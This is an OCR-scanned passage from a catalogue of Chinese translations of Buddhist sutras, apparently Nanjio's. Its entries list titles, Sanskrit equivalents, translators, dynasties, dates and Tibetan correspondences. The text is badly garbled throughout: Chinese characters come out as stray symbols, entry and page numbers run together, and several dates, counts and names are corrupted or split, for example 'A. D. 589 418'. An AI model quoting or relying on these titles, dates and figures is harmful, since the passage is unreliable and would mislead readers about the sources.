Mahaprigiaparamiti- gstra (No.1169), KumAtagiva translates the term Sheu- la-yeninto It 44j kien -siaai, lit. strong - form, i e. Sara(hero) - an: (limb). The term Saragama has there-fore n connection whatever with Sra, the sun, asMr. Beal thinks in his Catena of Buddhist Scripturesfrom Chinese, p. 284, note 2. Seefasc. 9 , fol. 1 6 b.400t 314 11W6i-tshaal-yiu-yin-yuen-kin.
Adbhuta-hetu-pratyaya-stltra. 'Ad. bhutadharmaparytiya (?).A. R. , p. 476 ;p. 279 . Translated by Thin-kin, of the Tshi dynasty, A. D. 479 -502. 2 fasciculi.It agrees with Tibetan. K'-yuen-lu, fasc. 3 , fol. 1 9 hseq.401' Sittra of the important collection of Buddhas. 'Buddhasanguti-stra.K'-yuen-lu, fasc. 3 , fol, x9 b ; Cone. 720; A. R. ,P. 46o ; A. M. G. , p. 264. Translated by Ku FA-hi(Dharmaraksha), of the Western Tsin dynasty, A. D.265-3 16, 2 fasciculi. It agrees with Tibetan. If' -yuen-lu, s. V.402/ M. a 0 ftSfitra on the praise of the good qualities of Buddhas. 'Kusumasatikaya-settra.E'-yuen-lu, fasc. 3 , 17 b; Conc. 703 ; A. R. ,p. 468; A. M. G. , p. 27x. Translated by Ki-ki-y,together. with Than-3 76. o, of the Northern Wi dynasty,A. D. 3 86-53 4. 3 fasciculi. It agrees with Tibetan.K'-yuen-lu, s. v.393I = fierHhien-tsi-hhien-ki-tshien-fo-mi-ki.406'its9 9 StrTRA-PITAKA, 100403Hhien-ki-ki.Bhadrakalpika-sutra.K'-Yuen-lu, fasc. 3 , fol. 20 a ; Conc. 19 0 ; A. R. ,p. 41 3 ; A. M, G. , p. 220. Translated by Ku F-hu(Dharmaraksha), A. D. 3 00, of the Western Tsin dynasty,A. D. 265-3 16. io fasciculi. It agrees with Tibetan.K'-yuen-lu, s. v,404fi :w Fa-shwo-fo-mi-ki.' Buddhabhshita-buddhanma-sutra. 'Translated by. Bodbiruki, of the Northern Widynasty, A. D. 3 86-53 4. 12 fasciculi. In this workBuddha enumerates Buddhas, Bodhisattvas, . and Pra-tyekabuddhas, t ,o9 3 in number. K'-tsi, fasc. 5, fol.13 b. Deest in Tibetan. K'-yuen-lu, fasc. 3 , fol. 20 bseq. Cf. Wassiljew, p. 174;. where 11,07 3 seems to bea misprint.405 a t a ^^fi^^^^v^^. ^,Kw-kh-kwhii- yen-ki-tshien-fo-,; ' . -ki.Atlta-vyuhakalpa-sahasrabuddhanma-stra. 'Translated . under the Li " dynasty, A. D. 502-557;but the translator's name is lost. x fasciculus. Thereis an additional and older part, entitled Sin-ki-sn-tshien - fo-yuen - khi, or ` Trikalpa -trisahasra- bu ddha-nidana ;' which was translated by Killayasas, of theearlier Sun dynasty, A, 'D. 420-479 . :Pratyutpanna-bhadrakalpa-sahasrabuddhauma-sutra. 'Translated under the Liiin dynasty, A. p. 502-557;but the translator's name is lost. i fasciculus.407 **M. V
fi .Wi-lai-si-sin-ki-tshien-fo-mi-ki.'An gata-nak s h atrat rk al p a-sah asrabu ddhan m a-sutra,'Translated under the Li dynasty, A. D. 502-557;but the translator's name is lost. I fasciculus.The above three works are sometimes collectivelycalled San-ki-sn-tshien-ku-fo-min-kin, or ` Trikalpa-trisahasra - (sarva) buddhanma - stra ; and they arewanting in Tibetan. K'-yuen-lu, fasc. 3 , fol. 20 b seq.Cf. Wassiljew, p. 14.408 fO R A f A Fo-shwo-wu-tshien-wu-p,i-fo-mi-shan-kheu-ku-ka-mieh-tsMi-ki.titra spoken by Buddha on the names of 5,500 Buddhas andspiritual Mantras which remove obstacles and destroy sin. ' Translated by Gnagupta, together with Dharma-gupta and others, A. D. 59 3 , of the Sui dynasty, A. D.589 418. 8. 8 fasciculi. Deest in Tibetan. K'-yuen-lu,fasc. 3 , fol. 21 a. But this work may be compared withthe Tibetan version of the Buddhanma-sahasrapa4ika-8atakatus-tripakadasa (or -tripaksat 3 ), i, e. ' thenames of 5,45a Buddhas, as mentioned in A. R. , p. 466;A. M. G. , p. 27o. The names of Buddhas in No. 40e,however, are counted 4,704 only. K'-tsi, fasc. 5, fol.1 3 b seq. ; Wassiljew, p. 174.409 . J1 `Iii-kw&1-yen-sail-mi-ki.. BalavyAha-samdhi-sutra. 'Translated by Narendrayasas, A. D. 585, of the Suidynasty, A. D. 589 (or 581)-618. 3 fasciculi, It agreeswith Tibetan. K'- yuen-lu, fasc. 3 , fol: 21 b.410^:% fir fiFo-shwo-pAj u-fo-mi-ki.Buddhabhshita-ashtavargabuddhanma-sutra,'Ashtabuddhaka-sfltra.K'-yuen-lu, fasc. 4, fol. 5 a. . ; Conc. 3 9 5; A. R. , p. 469 ;A. M. G. , p. 272. Translated by Gautama Pragruki,A. D. 542, of the Eastern Wi dynasty, A. D. 53 4-550.3 leaves. It agrees with Tibetan. K'-yuen-lu, s. v.In this Stra Buddha tells the Sreshthin or elder (richmerchant) Shan-tso (Sukara i) the names and goodqualities of eight Buddhas of the eastern quarter.411`rigPi-fo-mi-ki.' Satabuddhanma- ^ utra. 'Translated by Narendrayasas, A. D. 582, of the Sui.dynasty, A. D. 589 (or 58x)-618. 9 leaves. Deest inTibetan. K'-yuen-lu, fasc. 3 , fol. 17 b.412 fai*PA-a AFo- shwo-pu- sz'-i - ku - th-ku -fo-su-hu-nien-ki.Buddhabhshita-akintyaguna-mrvabuddha-parigraha-s{itra. '101 STRA-PITAICA. - 102Translated by Gianagupta, of the Sui dynasty, A. D.589 -618. 2 fasciculi. Deest in Tibetan. K'-yuen-lu,fasc. 3 , fol. 21 a; where this work is said to have beentranslated under the Wi dynasty, A. D. 220-265 ; butthe translator's name is lost. In this Stra the names of1,120 Buddhas are mentioned. fasc. 5, fol s. 18 b.41 8fti4#Buddhabhashita-dasasri-stitra. 'Translated under one of the three Tshin dynasties,A. D. 3 50-43 1; but the translator's name is lost. 2 leaves.Deest in Tibetan. K'-yuen-lu, fasc. 4, fol. 6 a seq. Inthis Stra Buddha tells the noble-minded Vima15. -varana (1) the names and good qualities of ten Buddhasof the eastern quarter. K'-tsiti, fasc. 5, fol. 1 6 b.41341 9 fi:JA * *tk%'Stra on the Vagrasamadhi, the original nature (of whichbeing) pure and free from destruction. 'Translated under the three Tshin dynasties; A. D.3 50-43 1; but the translator's name is lost. 8 leaves.Deest in Tibetan. K'-yuen-lu, fam. 4, fol. 5 b seq.414 IDOffi -f. q41 1Fo-shwo-sh' - tsz'- yueh-fo-pan-shati-kiii.Buddhabhashita-simhakandra-bliddhaltitaka. satra:Translated under the three Tshin 'dyna'sties, A. D.3 50-43 1; but the translator's name is lost. 9 leaves.Deest in Tibetan. K'-yuen-lu, f zc. 4, fol. 6 a seq.'Satre . on explaining the actions of priests and laymen.Translated by Shan-kien,- of the Western Tshindynasty, A. D. 3 85-43 1 . I-2 leaves. Deest in Tibetan.K'-yuen-lu, fasc. 3 , fol. 17 a seq.416 SNA4iit*W4 Buddhabhashita-sreshilli-dharmakari-bharytt-stitra:Translated under the Northern LW! dynasty, A. D.3 02-43 9 . 4 leaves. Deest in. Tibetan. K'-yuen-lu,fasc. 4, fol. 6 a seq.417 SartgiBuddhabhAshita-(ko)sala (?)-desa-siltra. 'Translated under the Eastern Tsin dynasty, A. D. 3 17. 420 ; but the translator's name is lost. 4 leaves. Deestin Tibetan. . K'-yuen-lu, fasc. 4, fol. 6 a seq. It statesthat Buddha went to the country of (Ko)sala (1) fromGetavana, and taught the king and his subjects ; sothat they knew pain and raised their thoughts towardsthe Bodhi. fase. 9 , fol, 21 b.Fo - shwo-khAA-k - - thi k-sh'-tsz'-'Stra spoken by Buddha on the clear meaning of the lion-koaring (preaching, or discussion) of In-thi-k 0), thedaughter of a Sreshthin. 'Translated under the Lign dynasty, A. D. 502,-. 557;but the translator's name is lost. 8 leaves. It isstated at the beginning under the title, namely : ' Thistranslation seems to have been made by Kunairagiva(of the Latter Tshin dynasty, A. D. 3 84-41 7). ' Deestin Tibetan. K'-yuen-lu, fasc. 4, fol. 6 b seq. 4201. 1 *1 540 IAP; 1 ) 11 4/Fo-shwo-yi-tshi-k'- kwitA-mitt-sien-zan-tshz'-sin-yin-yuen-pu-shi-zeu-kin.'Stra spoken by Buddha on the abstaining from meat, being.the Nidfina of the compassionate thought of the . RishiSarvagfiftprabha. 'Translated tinder one of the three Tshin dynasties,A. D. 3 50-43 1, 5 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 4, fol. 6 b seq.*"V Pt421Mahavaipulya-dharant-gitra. 'Praftyutpanna-buddha-sammukhAvasthita-samidhi-sfttra.fasc. 5, fol. 3 b;' Conc. 6x4; A. R. ,P.444 ; A. M. G. , p. 25o. Translated by Fit-kull, ofthe Northern Li6. 11 dynasty, A. D. 3 9 7-43 9 * 4 fasciculi.It agrees with Tibetan. K'- yuen-lu, s. v.422 *. )tv. . ist
47Mahg,dharmoll&-dhitrani-siitra. 'H 2415433
;it AftIVPhu-sa-kitu-thai-kin.Bodhisattva-garbhastha-st. tra. 'Garbha-seara, (?).p. 3 27. Translated by Fo-nien, of thedynasty, A. D. 3 84-417. 5 fasciculi ;I:eest in Tibetan. K'- yuen-lu, fasc. 3 ,Wassiljew,Latter Tshin3 8 chapters.103 StTRA-PITAKA.1 -04Translated by Gfanagupta, A. D. 59 2, of the Suidynasty, A. D. 589 -618. zo fasciculi. Deest in Tibetan.K'-yuen-lu, fasc. 5, fol. 4 a.423 *1(JLMahnaladharma-dh'arani-sfltra. 'Translated by ail A. D. 59 5, of the Suidynasty, A. D. 589 -618. 20 fasciculi. Deest in Tibetan.K'- yuen-lu,. fasc. 5, fol. 4 a. This work is mentionedby Wassiljew, in his Buddhismus, p. 177.424 NOMallSarvadhaxmakaryft-dhyAna (?)-settra:Translated by GAinagupta, A. D. 59 5, of the Suidynasty, A. D. 54-618. 4 fasciculi. It agrees withTibetan. K'-yuen-lu, fasc. 3 , fol. 22 a.$4.gFo-shwo-hwa-sheu-kift.Buddhabhshita-pushpa-hasta-stitra.KusalaTnAla-samparigraha-sfitra.K'-yuen-]u, fasc. 3 , fol. 21 a; Conc. 2 0x.Kusalamilla-pariclhara-sittra.A. R. , p. 429 ; A. M. G. , p. 23 4. Translated by Ku-rnaragiva, of the Latter Tshin dynasty, A. D. 3 84-01.10 fasciculi. It agrees with Tibetan. K'-yuen-hi, s. v.426Dharrawimagiti-sara.K'-yuen-lu, fasc. 3 , fol. 22 a; Conc. 140 ; A. R,p. 462 ; A. M. G. , p. 266. Translated by Bodhiruki,A. 13 . 5,5, of the Northern WM. dynasty, A. 'D. 3 86-53 4.6 fasciculi. It agrees with Tibetan. K'-yuen-lu, s. v.427 A)/T' Mahilvaipulya-ptirnabuddha-stara-prasannArtha-stlira. 'Translated, by BuddhatrAta, A. D. 7th century, of thuThin dynasty, A. D. 618-9 07. 2 fasciculi. There, aretwo prefaces, which, however, belong to a Chinese com-mentary on this Siitra, No. 1629 .428 SAM zt OffigFo-shwo-k' - tkl-ku/1-th-kitt.Buddhabhishita-pradipadg. nagurta-stltra. 'Praclipadaniya-sara.. K'-yuen-lu, fasc. 3 , fol. 23 a; Conc. 89 ; A. R. , p. 456;A. M. G. , p. 26o. Translated' by Narendrayasas, A. D.558, of the Northern Tshi dynasty, A. D. 550-577.fasciculus. Doubtful in Tibetan. K'-yuen-lu, s. v.See, -however, the last two authorites mentioned underthe title.Vagrasamadhi-sOtra. 'Translated under the Northern Lign dynasty, A. D.3 9 7-43 9 ; but the translator's name is lost. 2 fas-ciculi; 8 chapters. Deest in Tibetan. K'-yuen-lu,fasc. 4, fol. 6 b.430Ed MIBuddhadhyrtna-sam&dhisagara-stara. 'Translated by Buddhabhadra, of the Eastern Tsindynasty, A. D. 3 17-420. I 0 fasciculi ; 12 chapters.Deest in Tibetan. . K'-yuen-lu, fasc. 3 , fol. 2 I b seq.43 1t -3 0 gTa-fan-pien-fo-pao-an-kin.'Stara of the great good means (mahop4a) by which Buddharecompenses the favour (of his parents). 'Translated under the Eastern II4n dynasty, A. D. 25220 ; but the translator's name is lost. 7 fasciculi;9 chapters. Deest in Tibetan. K'-yuen-lu, fasc. 3fol. 22 a.' Bodhisattva-pArvakarytt-siltra. 'Translated under the Eastern Tsin dynasty, A. D. 3 17-420 ; but the translator's name is lost. 3 fasciculi ;ii sections. Deest in Tibetan. K'-yuen-lu, fasc. 3 ,fol. 22 8. .fol, 22 b.'425429432105STRA-PI7'AKA. 106434 439Y-kh-mo-lo-ki.Agulimliya-s{tra.K'-yuen-lu, fasc. 3 , foi. 2 3 a ; Conc. 227; A. It.,P . 457; A. M. G. , p. 261; Wassiljew, p. 154. Translatedby Gunabhadra, of the earlier Sun dynasty, A. D. 420-479 . 4 fasciculi. It agrees with Tibetan. K'-yuen-lu, s. v.435'NW* g V41Phu-s-riM-si-lin-po-lo-mi-ki.' Sfltra on the Bodhisattva's inner practice (?) of the six Pramits. 'Translated by Yen Fo-thio, of the Eastern Han/dynasty, A. D. 25-220. 3 leaves. Deest in Tibetan.K'-yuen-lu, fasc. 4, fol. 5 b seq.436
IXii 1C^ ytJVI 44 41Phu-s-theu-shan-sz'- -hu-/chi-th-yin-yuen-kill.' Sfltra on the Nidna of the Kaitya erected in the place wherethe Bodhisattva threw his body to feed a hungry tiger. 'Translated by Fa-shn, of the Northern Lin dynasty,A. D. 3 9 7-43 9 . I i leaves. This is a Gtaka, in whichthe Bodhisattva was the crown-prince Kandanavat,who sold his person as a, slave and got the sandal-woodto cure the disease of the king of another country.Then becoming an ascetic, be fed a tiger with hisbody ; and on the remaining bones a Kaitya waserected. K'-tsi, fasc. 6, fol. 17 a. Deest in Tibetan.K'-yuen-lu, fasc. 4, fol. 5 b seq.437 = T.4.vSn-mi-hu-to-kw-hhien-tin-i-kir.'Sfltra on the Samdhi, widely explaining the thought ofmeditation and promulgating the way. 'Anavatapta-ngarga- pariprikkh- stra.K'-yuen-lu, fasc. 3 , fol. 22 b ; A. R. , p. 448 ; A. M. G. ,p. 253 . Translated . by Ku Fa-hu (Dharmaraksha), A. D.3 08, of the Western Tsin dynasty, A. D. 265-3 16. 4 fas- ciculi; 12 chapters.438 iFo-shwo-min. - tu-wu-shi-kio-ki-ki.` Stara spoken by Buddha on fifty countings of clear measure (2). 'Translated by An Shi-ko, A. D. 1 51 , of. the EasternHan dynasty, A. D. 257 220. 2 fasciculi. Deest inTibetan. . K'-yuen-lu, fase, 3 , fol. 23 b seq.Wu-su-yiu-phu-s-ki.Sfltra on the Bodhisattva Akiaana (?). 'Translated by Gnagupta, of the Sui dynasty, A. D.589 -618. 4 fasciculi. It agrees with Tibetan. K'-yuen-lu; fasc. 3 , fol. 23 b.4407 it DI 4T-1'a-ku-ki.Sara of the great law-drum. 'Mahabheri-hraka-parivarta.A. R. , p. 458 ; A. M. G. , p. 262 ; Wassiljew, p. 162.Translated by Gunabhadra, of the earlier Sun dynasty,A. D. 420-479 . 2 fasciculi. Deest in Tibetan. K'-yuen-lu, fasc. 3 , fol. 24 a. See, however, the authoritiesmentioned under the title.441Yueh-sh-n-ki.` Stara on the girl Randrottar. 'Kandrottar-drik-vykarana-sutra.. K'-yuen-lu, fase. 3 , fol. 24 a; Conc. 867; A. R. ,p. 454; A. M. G. , p. 258. Translated by Gnagupta.A. D. 59 1, of the Sui dynasty, A. D. 589 -618. 2 fasciculi.It :_:_ reel with Tibetan. K'- yuen-lu, s. v.442PM 41Wan-shu-sh'- li-wn-7ci.Maiigusri-pariprikkh-sutra. 'A. R. , p. 451; A. M. G. , p. 255; Conc. 81o. Traps-, lated by Sanghapla, of the Lien dynasty, A. D. 502-5572 fasciculi. Deest in Tibetan. K'-yuen-lu, fasc. 3 ,fol. 2+ a. See, however, the 'authorities mentionedunder the title.443 Ctlti]^T-f-kw-tiu-1&i- pi-mi-ts-kin.` Mahvaipulya-tthgata-guhyagarbha-sutra. 'Tathgata-garbha-stitxa.A. R. , p. 466 ; A. M. G. , p. 269 ; Conc. 600. Trans-lated under the three Tshin dynasties, A. D. 3 50-43 1;but the translator's name-is lost. 2 fasciculi. It agreeswith Tibetan. K'-yuen-lu, fasc. 3 , fol. 24 a seq.4-ffPkgT-sha-mi-yen-ki.' SAtra of the Mahayana on the secret adornment,'Ghanvyha-sQ tra:K' -yuen-lu, fasc. 3 , fol. 24 b; Conc. . 5'7`7; A. R. ,P. 43 3 ; A. M. G. , p. 23 9 ; Wassiljew, p. t6o. *anslated ,. .444No, 452.782 (1)3 (?)46107S TRA-FITAK. A. . 108by Divkara, of the Than dynasty, A. D. 618-9 07. 3fasciculi. It agrees with Tibetan. K'-yuen-lu, s. v.445Phu-s-yifi-lo-kin.' SAtra of the garland of the Bodhisattva. 'Translated by Fo-nien, A. D. 3 76, of the Latter Tshindynasty, A. D. 3 84-417, under the Former Tshin dynasty,A. D. 3 50-3 9 4. I 3 fasciculi, now subdivided into-2o;40 chapters. Deest in Tibetan. K' - yuen-lu, fasc. 3 ,fol. 20 a.446*5k rfl T
tit A-NitT-fo- tin-zu-lai-mi-yin-sheu-ka-lio-i-ku-phu-s-wan-hhiii- heu-ln-yen-kin.' Mahbuddhoshnisha-tathgata-guhyahetu-sksh tkrita-prasann rtha-sarvabodhisattvakary-sArgama-sfltra. 'Translated by Pramiti and Mikaskya, of the Thindynasty, A. D. 658-9 07. * i o fasciculi. Dest in Tibetan.K'-yuen-lu, fasc. 5, fol. 4 b, Apartial English trans-lation of the first four or five fasciculi is given by Beal,in his Catena of Buddhist Scriptures from Chinese, pp.286-3 69 . For the term Srangama, see,No. 399.447 LM. b" 51; ^Tshi-fo- su-shwo-shan- kheu-Ici.' Saptabuddhabhshitarddhimantra-sfltra. 'Translated under the Eastern Tain dynasty, A. D. 3 17420 ; but the translator's name is lost. 4fasciculi. Deestin Tibetan. K'-yuen-lu, fasc. 5, fol. 5 b.448 ^,^. ^t J. %lJt _ ' MAIWan-shu-sh'- li-0,o-tsn-tho-10-ni-kin.' Magusrl-ratnagarbha-dhrant-sAtra. 'Translated by Bodhiruki, A. D. 710, of the Thandynasty, A. D. 618-9 07. 1 fasciculus. Deest in Tibe-tan. K'-yuen-lu, fasc. 5, fol. 5 b.4 4 9fffPESan-ki-kha-kin.^SaghEa (or -ti ?}sfltra:Sanghtf -sfltra-dharmaparyya.A. R:, p. 429 ; A. M. G. , p. 23 5 ; Conc. 517. Trans-lated by UfYasnya, A. D. 53 8, of the Northern Widynasty, A. D. 3 86-53 4. 4 fasciculi. It agrees withTibetan. K'-yuen-lu, fasc. 3 , fol. 21 b.dLi' ^^Khu-shan-phu-thi-sin-kin.' tpdita-bodhikitta-sAtra. 'Translated by G&nagupta, A. D. 59 5, ot:, the Suidynasty, A. D. 589 -618, i fasciculus.451 Fo- yin- sn-;rni-kin.' Buddhamudr=^ amdhi-sfltra. 'Translated by In Shi-ko, of the Eastern Handynasty, A. D. 25-220. 5 leaves. Deest in Tibetan.K'-yuen-lu, fasc. 4, fol. I a.452`' . i Fo-shwo-shi -'rh-thewtho-kin.' Buddhabbshita-dvadasadhflta-sfltra. 'Translated by Gunabhadra, of the earlier Sun dynasty,A. D. 420-419 . 7 leaves. Deest in Tibetan. K'-yuen-lu, fase. 4, fol. 7 b seq. The following is a comparativetable of the order of ' the twelve Dhtas in threedifferent works :-MAHVYUTPATTI, 45.(s) PmeuktilikaII(s) Traikivar-ika2(3 ). Nmatika12(4) PaindaptikaI(5') Eksanika7(6) Khalnpaskdbhaktika (or-pasknnabhaktika ?)
3(7) Aranyaka9(8) VrikshamAlika6JO(9 ) Abhyavakaika8II(Io) SmsnikaIo(II) Naishadika(is) Yath&samstarikaThe and, 3 rd, and 5th in No. 452 (1. e. 3 rd, 4th, and1 2th in Sanskrit) are literally begging alms constantly,begging alms in order (or from house to house), andeating food moderately. Cf. also Childers, Pali Dic-tionary, p. 123 a, under Dhtaligam, where thirteennames are mentioned.453 'WFo-shwo-shu-thi-ki-kiii. Stara spoken by Buddha on (the Sreshthin) Gyotishka (?).Translated by Gunabhadra, of the earlier Suri dynasty,A. D. 420-479 . 3 leaves. Deest in Tibetan. K'- yuen-lu, fasc. 4, fol. 7 b seq.454, lkft#EFo-shwo-fa-khan-ku-lcin. .SAtra spoken by Buddha on the constancy of the law,'Translated under the Western Tsin dynasty, A. D.265-3 16 ; but the translator's name is lost. 3 leaves.Deest in Tibetan. E'-yuen-lu, fasc. 4, fol. 8 a.450'DHARMASAl` GRAHA.459I25 (1)109STRA-PITAKA,110455Vit RFo-shwo-kh Aft-sheu-waft-ki. SAtre spoken by Buddha on the king of long. life. 'Translated under the Western Tsin dynasty, A. D. 2653 16; but the translator's . ne is lost, 7 leaves. Deestin Tibetan. K'-yuen-lu, fasc. 4) fol. 7 b seq. This isa Gtaka of Buddha.456
'N ill41Fo, shwo-hi-lull-w-ki.' Buddhahhshita-sagara-ngarga-stra. 'Sgara-ngarga.K'- yuen - lu, fasc. 3 , fol. 18 b.Sgara-ngarga-pariprikkh .A. R. , P. 448 A. M. G. , p. 253 ;, Cone. 1 82. Trans-lated by Ku Fi-hu (Dharmaraksha), of the WesternTsin dynasty, A. D. 265-3 16. 4 fasciculi; 20 chapters.It agrees with Tibetan. K'-yuen-lu, s. v.457
nI wtri, InFo-wi-hi-lu-w-shwo-f-yin-ki.' Stara on the seal of the law spoken by Buddha foi' the sakeof Sgara-ngarga. 'Sgara-ngarga-pariprikkh.K'-yuen-lu, fasc. 4, fol. 4 b ; Conc. 177. Translatedby I-tsi, A. D. 711, of the Than dynasty, A. D. '618-9 07.z leaf. It agrees with Tibetan. K'-yuen-lu, s. v,458w t ^'Fo-shwo-yiu-zo-fo-th-ku-th-ki.Stara spoken by Buddha on the merits of turning round theKaitya, of Buddha to the right. 'Kaitya-pradakshin a-gth.A. R. , p. 476; A. M. G. , p. 279 . Translated by Sik-shnanda,' of the Th dynasty, A. D. 618-9 07. 4 leaves.It Agrees with Tibetan. . K'-yuen-lu, fasc. 4, fol. 4 a.459 n0-0,1 0441Fo-shwo-mio-seh-w-yin-yuen-ki.' Buddhabhshits-suvarna-raga-nidana-siltra:Translated by I-tsi, A. D. 701, of the Thin dynasty,A. D. 618-9 07. 4 leaves. It agrees with Tibetan.K''-yuen-lu, fase. 4, fol. 4 b seq.460 N 41Sh' tsz'- su-tho-so-wan-tw-zeu-kin. ' Stara on the tibn-king Sudaraana's cutting his flesh (to feedothers),'Translated by K-yen, A. D. 721, of the Th dynasty,A. D. 618-9 07 . 5 leaves. It agrees with Tibetan.K'-yuen-lu, fasc. 4, fol. 5 a. This is a Gtaka ofBuddha. Piao-mu, fuse. 5, fol. 18 a.461 14w . 3 EFo-shwo-kh a-mo-po-ti-sheu-ki-ki.' Buddhashita-kshamvati-vykarana-str.Kshamvatt-vykarana-stra.K'-yuen-lu, fasc. 4, fol. 3 b.; Cone. 679 ; A. R. ,p. 454; A. M. G. , p. 258. Translated by. Bodhiruki,A. D. 519 -524, of the Northern Wi dynasty, A. D. 3 86-53 4 6 leaves. It agrees with Tibetan. K'-yuen-lu,s. v. It is stated that when Buddha, together withMaitreya, went to Rgagriha to beg alms, and arrivedat the palace of Bimbisra, the queen Kshamvatispread excellent clothes and asked' Buddha to sit downon them. Then Buddha spoke with her on the meaningof the adornment. . of trees, . and, finally gave her theprophecy. K'tsi, fasc. 9 , fol. 22 a.462 Ito at oi If it *144 NM 4Fo-shwo-sh'- tsz'- kwii-yen-w-phu-s-tsi-wan-ki.' Buddhabhshita-simhavyAharga-bodhisattva-pariprilcltk-sAtra. 'Translated by Nadi, A. D. 663 , of the Th dynasty,A. D. 618-9 07. 4 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 4, fol. 3 a.463
4 I+ z. Ku. -yin-ki.Antara,-bhava-stra.K'-yuen-lu, fasc. 3 , fol. 23 b ; Conc. 7 10. . Translatedby Fo-nien, of the Latter Tshin dynasty, A. D. 3 8. 4-4172 fasciculi ; ' i 2 chapters. It agrees with Tibetan.K'- yuen-lu, s. v. '464
I: . ^r. S. ^^ i. . , . 4Z IK 41Kan-ts-shan-noh-yehi-po-kiii.' Stara on the consideration by divination about the results pf.good and bad (actions). 'Translated by Bodhidipa (1), of -the Sui dynasty, A. D.589-61 8. 2 fasciculi.Fo-sh wo-lien-hw-mien-ki.'SAtrarspoken by Buddha on (one called) Lotus-face)(Pidmamukha or Pundarlkamukha?).Translated by Narendrayasas, A. D. 584, of the ,Suidynasty, A. D. 589 (or 581)-618, . 2 fasciculi. )P. Buddhaspoke this Stra just before he entered 'Nirvna, inwhich he foretold that Lotus-face would in a futuretime break the bowl of Buddha. . K'-tsi, fuse. 25,fol. 21 b. -g465IH476* --L. . ;111 SUTRA-PITAKA. 112466 4/NIAT'gFo-shwo-sin-phin-ti-tsZ-'Sfttra spoken by Buddha on the three classes of (lay) disciples(highest, middle, and lowest). 'Translated by K' Khier, of the Wu dynasty, A. D.220-280. 3 leaves. Deest in Tibetan. K'-yueii-lu,fasc. 4, fol. 7 a seq.467le17-4 gFo-shwo-sz'-'Stara spoken by Buddha on the four classes (of his disciples,viz. Bhikshu, Bhikshunl, Upsaka, and Upsik). 'Translated by Ku n-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 5 leaves. Deestin Tibetan. K'-yuen-lu, fasc. 4, fol. 7 a seq.468441 :: *Fo-shwo-taft-1M-pien-kitt.SOttra spoken by Buddha on the changes-of the future. 'Translated by Ku n-hu (Dharmaraksha), of the'Western Tsin dynasty, A. D. 265-3 16. 4 leaves. Deestin Tibetan. K'-yuen-lu, fasc. 4, fol. 7 b seq.469Stitra of the Paindaptika of a Buddha of the past. 'Translated by Ku Fd-hu (Dharmaraksha), of the ,Western Tsin dynasty, A. D. 265-3 16. 2 leaves. Deestin Tibetan. K'-yuen-lu, fasc. 4, fol. 7 h seq.470fhlitittAZ41,&lira spoken by Buddha on the destruction of the law. 'Translated under the earlier 'Sun dynasty, A. D. 420-479 ; but the translator's naine is lost. 4 leaves.Deest in Tibetan. K'-yuen-lu, fasc. 4, fol. 6 b seq.471g b?.:i41Fo-shwo-shan-shan-a-hwui-hhill-kifl.Sutra spoken by Buddha on the very deep and great act ofmaking (the stocks of merits) to ripen (Avaropita:. kusalainfila). 'Translated under. the earlier SIM dynasty, A. D. 420-79 ; ; but the translator's name is lost. 5 leaved.Deest in Tibetan. K'-yuen-lu, fasc. 4, fol. 6 b seq. 472It-T4Stara of Phi-lo (Vela?) the crown-prince' of a heavenly king. 'Translated under one of the three Tshin dynasties,A. D. 3 50-43 1; but the translator's name is lost. 2 leaves.Deest in Tibetan. ' K'-yuen-lu, fasc. 4, fol. 7 a seq.473 ,*ioStara of the spiritui al Mantra of great lucky meaning. 'Translated by Than-yo, of the Northern Wei dynasty,A. D. 3 86-53 4. 2 fasciculi. Deest in Tibetan. K'-yuenlu, fase. 5, fol. 5 b seq.474 1 4 oftil s*fitMs'Stara of the Dliarani presented to Buddha by the general ofAsuras 0-kh,ft-pho-kii atavika ?). 'Translated under the Lian dynasty, A. D. 5o2-557;but . the translator's name is lost. 7 leaves.F,d1 t*1 1 -W.RfgFo-shwo-t&-phu-hhien-tho-lo-ni-kih. . Buddhabhashita-rnahlt-samantabhadra-dhArant-satra. 'Samantabhadra-dharani.A. R. , p. 53 3 ; A. M. G. , p. 3 3 a. Translated underthe Liit dynasty, A. D. 502-557; but the translator'sname is lost. 4 leaves. It agrees with Tibetan. K'-yuen-lu, fase. 5, fol. 6 a.Fo-shwo-t&-tshi-pao-tho-10-ni-kin.'Buddhablifishita-Mahlsa:ptaratna-dharani. stitra. 'Translated under the Lia dynasty, A. D. 502-557;but the translator's name is lost. z leaf. It agreeswith Tibetan. K'-yuen-lu, fasc. 5, fol. 6 a.477. , 7%. * Pt tiShadakshara-mahadharani-mantra-siltra. 'Translated under the Lian. dynasty, A. D. 502-557;but the translator's name is lost. 3 leaves. Cf.Nos. 3 3 1, 3 40, 3 41.478$1Fo-shwo-An-ts-shan-kheu-kiii.Sutra spoken by Buddha on the spiritual Mantra for keepingthe house safe. 'Translated under the Eastern Hill dynasty, A. D. 25-220 ; but the translator's-name is lost. 5 leaves. Deestin Tibetan. K'-yuen-lu, fasc. 5, fol. 6 b.479 -04-1 1 5tM6,y-fikgra-bhadra-riddhimantra-siltre175113 S OTRA-PITAKA. 114Translated by TNA-wu-lAn (Dharmaraksha I), of theEastern Tsin dynasty, A. D. 3 17-420. 2 leaves. Deestin Tibetan. K'-yuen-lu, fasc. 5, fol. 6 b.480 10 it 4 P. WFo-shwo-phi-khu-ts5-hhq-kheu-kiti.Satra spoken by Buddha on the Vidyft or spell for avoidingand removing the injury (caused) by a thief?,Translated under the Eastern Tsin dynasty, A. D.3 17-420; but the translator's name is lost. I leaf.481
Ms faBuddhabhashita-manirata (?)-stara. 'Translated by Thin-wu-lin (Dharmaraksha I), of theEastern, Tsin dynasty, A. D. 3 17-42o. 3 leaves. Deestin Tibetan, K'-yuen-lu, fasc. 5, fol. 6 b. This Straexplains rules for curing several diseases caused by evilspirits. Piao-mu, fasc. 5, fol. ii b.487 Viit-2 " itrAFo-shwo-than-kh'-Buddhabhftshita-danda-lo-mo-yiu-shu (?)-stitra. 'Translated by Thau-wu-lan (Dharmaraksha I), of theEastern Tsin dynasty, A. D. 3 17-420. 3 leaves. ThisStra seems to be similar to No. 80o, e. the Maha-danda-dharant; ,as it states that when llahula wasdisturbed by evil spirits in the night, Buddha spoke aMantra or spell and protected him against the spirits.fasc. 14, fol. 28 b.488 fhaZif--1411I-flitifFo-shwo-hu-ku-thuti-tsz'-Stara spoken by Buddha on the Dharant-mantra for protectingboys or children. Translated by Bodhiruki, of the Northern Weidynasty, A. D. 3 86-53 4. 4. leaves. Deest in Tibetan.K'-yuen-lu, 